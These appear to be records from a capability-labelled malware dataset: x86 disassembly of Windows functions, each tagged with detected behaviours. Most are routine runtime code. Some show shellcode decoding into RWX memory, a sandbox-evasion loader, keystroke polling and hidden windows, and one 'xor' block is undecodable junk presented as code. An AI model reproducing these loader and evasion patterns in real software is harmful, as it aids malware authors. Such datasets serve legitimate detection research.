joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4022e0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [0x40405c], 1
mov dword [0x404060], 1
mov dword [0x404064], 1
mov dword [0x404070], 1
mov dword [ebp - 8], 0x400000
mov eax, dword [ebp - 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x40232c
xor eax, eax
jmp 0x4023e0
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp dword [ecx], 0x4550
je 0x40234a
xor eax, eax
jmp 0x4023e0
mov edx, dword [ebp - 0xc]
add edx, 0x18
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
movzx ecx, word [eax]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x10b
je 0x402370
cmp dword [ebp - 0x10], 0x20b
je 0x4023a4
jmp 0x4023de
mov edx, dword [ebp - 4]
cmp dword [edx + 0x5c], 0xe
ja 0x40237d
xor eax, eax
jmp 0x4023e0
mov eax, 8
imul ecx, eax, 0xe
mov edx, dword [ebp - 4]
cmp dword [edx + ecx + 0x60], 0
je 0x402398
mov dword [ebp - 0x14], 1
jmp 0x40239f
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
jmp 0x4023e0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x6c], 0xe
ja 0x4023b7
xor eax, eax
jmp 0x4023e0
mov edx, 8
imul eax, edx, 0xe
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + eax + 0x70], 0
je 0x4023d2
mov dword [ebp - 0x1c], 1
jmp 0x4023d9
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
jmp 0x4023e0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402880
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 4], edx
jmp 0x4028c0
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, 0x28
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
movzx eax, word [edx + 6]
cmp dword [ebp - 0xc], eax
jae 0x4028ef
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
cmp edx, dword [ecx + 0xc]
jb 0x4028ed
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 8]
cmp dword [ebp + 0xc], ecx
jae 0x4028ed
mov eax, dword [ebp - 4]
jmp 0x4028f1
jmp 0x4028ae
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402900
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x402920
xor eax, eax
jmp 0x40295b
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp dword [edx], 0x4550
je 0x40293b
xor eax, eax
jmp 0x40295b
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x10b
je 0x402956
xor eax, eax
jmp 0x40295b
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402d50
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x40408c], 0
jne 0x402d63
jmp 0x402dbc
push 0x404074
call sub.kernel32.dll_EnterCriticalSection
mov eax, dword [0x404090]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402db2
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call sub.kernel32.dll_TlsGetValue
mov dword [ebp - 8], eax
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x402da7
cmp dword [ebp - 8], 0
je 0x402da7
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
call edx
add esp, 4
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
jmp 0x402d75
push 0x404074
call sub.kernel32.dll_LeaveCriticalSection
mov esp, ebp
pop ebp
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40701c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x407028
push 0x407024
push 0x407020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x407028]
push dword [0x407024]
push dword [0x407020]
mov dword [0x407014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x401941
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push edi
and dword [ebp - 0x124], 0
xor edi, edi
mov byte [ebp - 0x104], 0
mov dword [ebp - 0x11c], 0x14
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x118]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringW
movzx eax, word [ebp - 0x118]
mov edi, eax
sub edi, 0x41
and dword [ebp - 0x120], 0
lea eax, [ebp - 0x120]
push eax
mov eax, edi
or al, 0x40
push eax
lea eax, [0x404691]
lea edx, [fcn.004019d4]
sub eax, edx
push eax
push fcn.004019d4
call sub.KERNEL32.dll_VirtualProtect
mov eax, edi
pop edi
leave
ret
Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
mov dword [0x83cf0cff], eax
mov esp, 0x660a341b
or al, 0x88
push 0x8031f399
mov bl, 0xac
iretd
loope 0x414b3f
xor eax, 0xb2c8b835
xor byte [ecx - 0xf], ch
and esi, edx
sub bl, byte [ecx - 0x1c7f3967]
into
xchg edi, eax
leave
sbb edx, dword [esi + ebp*4 + 0x68890c67]
jns 0x414a91
xor dl, dl
popfd
adc esi, dword [edx + 0x68]
and ebx, eax
push eax
sub dword [ecx + 0x6697601b], ebx
or al, 0xd8
xor esp, dword [esi + 0xc]
iretd
xor byte [eax - 0x67], ch
xor byte [eax + 0x1a], ch
xor byte [eax + 0x1a], ch
pop ds
xor al, 0xaf
popfd
xlatb
fadd st(0), st(0)
fcomi st(3)
cmp dword [ebx + 0x18309bd6], edx
fdiv st(3)
jle 0x414b6d
and dword [ebx], ebp
mov dl, 0x52
pop ds
dec eax
invalid
sub esi, dword [edx - 0xb7e0ae]
cmp ecx, edi
mov dh, 0x19
xchg edi, eax
fisttp word [edx + 0x30]
js 0x414b28
sbb dword [edi + 0x78304adf], edx
fpatan
mov cl, 0xaf
mov cl, 0xaf
cwde
xor byte [eax + 0x18], ch
sbb eax, 0x11911ed9
mov cl, 0x86
cwde
xor byte [eax + 0x23], ch
sar dword [ebx + 0x29], cl
cdq
jb 0x414b48
retf 0xc755
imul esp, dword [esi + 0x1b], 0xf399681b
mov eax, dword [edx - 0xc]
sub ch, dh
xor dword [eax - 0x428344fb], esi
jo 0x414b75
inc edx
hlt
insb byte es:[edi], dx
sbb byte [eax + esi*4], dh
pop eax
scasb al, byte es:[edi]
mov bl, 0xd8
jp 0x414b24
xor byte [ecx + 0x67], ch
cli
invalid
Function at 0x401637
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x402750
call fcn.00401c80
push 1
call fcn.00401377
pop ecx
test al, al
je 0x401793
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00401345
mov byte [ebp - 0x24], al
mov eax, dword [0x4030a8]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x401793
test eax, eax
jne 0x4016c1
mov dword [0x4030a8], ecx
push 0x402128
push 0x40211c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x4016a4
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40178d
push 0x402118
push 0x40210c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x4030a8], 2
jmp 0x4016c6
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004014e4
pop ecx
call fcn.00401e03
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4016f7
push esi
call fcn.0040145a
pop ecx
test al, al
je 0x4016f7
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call dword [0x402108]
call esi
call fcn.00401e09
mov esi, eax
cmp dword [esi], edi
je 0x401715
push esi
call fcn.0040145a
pop ecx
test al, al
je 0x401715
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call fcn.00401baa
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00401be0
test al, al
je 0x40179a
test bl, bl
jne 0x401743
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.00401501
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40178d
call fcn.00401cc6
ret
push 7
call fcn.00401a8e
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.00579000
jmp 0x401637
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x403e59
pop dword [ebp - 0x18]
mov eax, 0x403e59
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x32552e1
add dword [ebp - 0x28], 0x4b2cf26a
mov dword [ebp - 0x24], 0x610ce3b6
add dword [ebp - 0x24], 0xd126688f
mov dword [ebp - 0x20], 0x2a6ff19c
sub dword [ebp - 0x20], 0xde23ad6e
mov dword [ebp - 0x1c], 0xb358d539
add dword [ebp - 0x1c], 0x4ca72ac7
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x1454c814
sub dword [ebp - 0x28], 0x9fe25ebe
mov dword [ebp - 0x24], 0x3f4ecd08
add dword [ebp - 0x24], 0x21d946d
mov dword [ebp - 0x20], 0xf24a755f
add dword [ebp - 0x20], 0x7124f70d
mov dword [ebp - 0x1c], 0xc36985c9
sub dword [ebp - 0x1c], 0xc36985c9
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x37e6d
push 0
call eax
mov ecx, 0x4c9e
xor edi, edi
add edi, eax
mov esi, 0x333bd56a
sub esi, 0x32fac56a
add esi, dword [ebp - 0x18]
mov ebx, 0xf510da91
mov edx, dword [esi]
xor dword [ebp - 0x10], edx
add edx, ebx
xor dword [ebp - 8], esi
mov dword [edi], edx
xor dword [ebp - 0xc], edx
add edi, 0x1a0e188
sub edi, 0x1a0e184
add esi, 0xf6cda21f
add esi, 0x9325de5
loop 0x403f62
add eax, 0x826ff7f5
sub eax, 0x826ed2aa
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x100025b0
Capabilities:
Delete registry key

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x100025f0
push str.Advapi32.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x100025fd
push str.RegDeleteKeyTransactedA
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x100025fd
mov ecx, dword [esi]
mov edx, dword [esp + 0xc]
push 0
push ecx
mov ecx, dword [esp + 0x10]
push 0
push 0
push edx
push ecx
call eax
pop esi
ret 8
cmp dword [esi + 4], 0
je 0x100025fd
pop esi
jmp dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, 1
pop esi
ret 8

Function at 0x10002860
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 4]
push 4
lea eax, [esp + 0xc]
push eax
mov eax, dword [ecx]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x10002880
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, ecx
test esi, esi
jne 0x10002894
pop edi
lea eax, [esi + 0xd]
pop esi
ret 0xc
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
mov ecx, dword [esp + 0xc]
mov edx, dword [edi]
inc eax
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
ret 0xc

Function at 0x100028c0
Capabilities:
Set registry value

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x10]
mov dword [esp + 4], ecx
test ebp, ebp
jne 0x100028d6
lea eax, [ebp + 0xd]
pop ebp
pop ecx
ret 8
push ebx
mov ebx, dword [sym.imp.kernel32.dll_lstrlenA]
push esi
push edi
xor edi, edi
mov esi, ebp
push esi
call ebx
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x100028e3
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx]
push edi
push ebp
push 7
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret 8
Function at 0x10003140
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x120
mov eax, dword [0x10022cac]
xor eax, esp
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x124]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
mov edx, dword [edi]
or ecx, 0x2001f
push ecx
xor esi, esi
push eax
push edx
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call fcn.100027e0
mov ebx, eax
cmp ebx, esi
je 0x100031a5
mov eax, dword [esp + 0xc]
cmp eax, esi
je 0x1000319e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x10003241
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x14]
push esi
push esi
push esi
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x40]
push edx
push esi
push eax
mov dword [esp + 0x3c], 0x100
call ebp
test eax, eax
jne 0x1000320c
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x14]
call fcn.10003140
mov ebx, eax
cmp ebx, esi
jne 0x1000325b
lea edx, [esp + 0x24]
push edx
mov edx, dword [esp + 0x14]
push esi
push esi
push esi
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x40]
push ecx
push esi
push edx
mov dword [esp + 0x3c], 0x100
call ebp
test eax, eax
je 0x100031d2
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, esi
je 0x10003221
push eax
call ebx
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x20]
push eax
mov ecx, edi
mov dword [esp + 0x18], esi
call fcn.10002680
mov edi, eax
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x1000323e
push eax
call ebx
mov eax, edi
pop ebp
mov ecx, dword [esp + 0x128]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000cc2a
add esp, 0x120
ret 4
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x1000326a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x10003240
Function at 0x10005920
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1a0]
sub esp, 0x220
mov eax, dword [0x10022cac]
xor eax, ebp
mov dword [ebp + 0x19c], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 1
mov ecx, 0x1002409c
call fcn.10005770
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x70]
push eax
push 0x1001b784
mov byte [ebp + 0x98], 0
call dword [sym.imp.ole32.dll_StringFromCLSID]
mov eax, dword [ebp - 0x70]
mov ebx, eax
cmp eax, edi
jne 0x10005973
xor eax, eax
jmp 0x100059b4
push eax
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jg 0x100059b0
lea edi, [eax + eax]
mov eax, edi
call fcn.1000d270
mov esi, esp
test esi, esi
je 0x100059b0
push 0
push 0
push edi
push esi
push 0xffffffffffffffff
push ebx
push 0
push 3
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
neg eax
sbb eax, eax
and eax, esi
jmp 0x100059b2
xor eax, eax
xor edi, edi
push eax
lea ecx, [ebp + 0x98]
push 0x1001baf8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [ebp - 0x70]
add esp, 0xc
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0xf003f
lea eax, [ebp + 0x98]
push eax
push SysReAllocString
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], edi
call fcn.100027e0
test eax, eax
je 0x10005a0f
mov eax, dword [ebp - 0x7c]
cmp eax, edi
je 0x10005a08
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x80040201
jmp 0x10005a51
mov edx, dword [0x100240e4]
push 0x104
lea ecx, [ebp - 0x6c]
push ecx
push edx
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
mov esi, dword [ebp - 0x7c]
inc eax
push eax
lea ecx, [ebp - 0x6c]
push ecx
push 1
push edi
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, edi
je 0x10005a4e
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x80]
lea esp, [ebp - 0x8c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x19c]
xor ecx, ebp
call fcn.1000cc2a
lea esp, [ebp + 0x1a0]
pop ebp
ret

Function at 0x10007a20
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x10007a2a
lea esi, [ecx - 0x7c]
jmp 0x10007a2c
xor esi, esi
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx + 0x18]
lea eax, [esi + 0x88]
push eax
call edx
mov esi, dword [esi + 0x50]
test esi, esi
je 0x10007a4e
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8
Function at 0x10008b40
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x1c
test eax, eax
je 0x10008b50
add eax, 0xffffff80
jmp 0x10008b52
xor eax, eax
mov eax, dword [eax + 0x14]
push esi
mov esi, dword [esp + 0x28]
push edi
mov ecx, 7
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x28], 0
test eax, eax
jne 0x10008b7f
xor ecx, ecx
mov dword [esp + 0x28], ecx
mov eax, 0x80004005
jmp 0x10008b94
mov ecx, dword [eax]
lea edx, [esp + 0x28]
push edx
push 0x1001be20
push eax
mov eax, dword [ecx]
call eax
mov ecx, dword [esp + 0x28]
test eax, eax
js 0x10008be7
test ecx, ecx
je 0x10008be2
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor esi, esi
call edi
test ax, ax
jns 0x10008bb2
mov esi, 1
push 0x11
call edi
test ax, ax
jns 0x10008bbe
add esi, 2
push 0x12
call edi
test ax, ax
jns 0x10008bca
add esi, 4
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
push esi
lea edx, [esp + 0xc]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov ecx, dword [esp + 0x28]
jmp 0x10008be7
mov eax, 1
xor edx, edx
test eax, eax
setne dl
mov esi, edx
test ecx, ecx
je 0x10008bfc
mov eax, dword [ecx]
push ecx
mov ecx, dword [eax + 8]
call ecx
pop edi
mov eax, esi
pop esi
add esp, 0x1c
ret 8
Function at 0x1000be60
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000be69
ret
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1000c61e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10024140], 0
push esi
push edi
jne 0x1000c594
call fcn.1000c500
test eax, eax
je 0x1000c5d9
mov eax, dword [0x10024140]
cmp eax, 1
jne 0x1000c5b5
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000c5d9
jmp 0x1000c61b
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000c61b
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000c5dd
xor eax, eax
jmp 0x1000c61b
mov eax, dword [esi]
push dword [0x10024140]
call edi
mov edi, eax
test edi, edi
je 0x1000c5ff
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000c61b
lea edi, [esi + 0xff0]
push esi
push dword [0x10024140]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000c605
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000c580

Function at 0x1000cc2a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022cac]
jne 0x1000cc34
repz ret
jmp fcn.10010608
Function at 0x401040
Capabilities:
Allocate or change rwx memory
Block operations on executable memory pages using arbitrary code guard
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 8
call dword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
test eax, eax
jne 0x401076
push str.Failed_to_set_signature_policy._n
call fcn.00401010
add esp, 4
push esi
call fcn.004040ea
push 0x7d0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004040ea
sub eax, esi
movsd xmm0, qword [0x419930]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
divsd xmm1, qword [0x419938]
comisd xmm0, xmm1
ja 0x4011b9
push str.No_sandbox_detected._Proceeding_with_normal_operations._n
call fcn.00401010
add esp, 4
push 0x40
push 0x3000
push 0x19102
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x4010e3
push str.Failed_to_allocate_memory_for_payload._n
jmp 0x4011be
movaps xmm2, xmmword [0x419940]
xor eax, eax
push edi
mov ecx, 0x41b8f0
mov edx, 0x41b910
mov edi, 0x41b920
nop dword [eax]
movups xmm0, xmmword [ecx + eax]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [ecx + eax], xmm1
movups xmm0, xmmword [eax + 0x41b900]
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [eax + 0x41b900], xmm0
movups xmm0, xmmword [edx + eax]
xorps xmm1, xmm0
movups xmmword [edx + eax], xmm1
movups xmm0, xmmword [edi + eax]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [edi + eax], xmm1
add eax, 0x40
cmp eax, 0x19100
jb 0x401100
pop edi
cmp eax, 0x19102
jae 0x40115f
nop dword [eax]
xor byte [eax + 0x41b8f0], 0x63
inc eax
cmp eax, 0x19102
jb 0x401150
push 0x19102
push 0x41b8f0
push esi
call fcn.00402b60
add esp, 0xc
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x2c]
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
push eax
mov dword [ebp - 0x2c], 0x24
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x10], esi
call dword [sym.imp.COMDLG32.dll_ChooseColorA]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004011d7
mov esp, ebp
pop ebp
ret
push str.Sandbox_detected._Exiting._n
call fcn.00401010
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop esi
call fcn.004011d7
mov esp, ebp
pop ebp
ret

Function at 0x4019d6
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401a15
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a15
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a15
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a15
cmp dword [ecx + 0x74], 0xe
jbe 0x401a15
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407a06
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415608
push 0x415600
push str.FlsAlloc
push 0x1f
call fcn.004078c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407a3a
push dword [ebp + 8]
mov ecx, esi
call dword [0x414128]
call esi
jmp 0x407a40
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x407a84
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415618
push 0x415610
push str.FlsGetValue
push 0x21
call fcn.004078c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407abb
push dword [ebp + 8]
mov ecx, esi
call dword [0x414128]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407ac3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415620
push 0x415618
push str.FlsSetValue
push 0x22
call fcn.004078c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407afd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414128]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]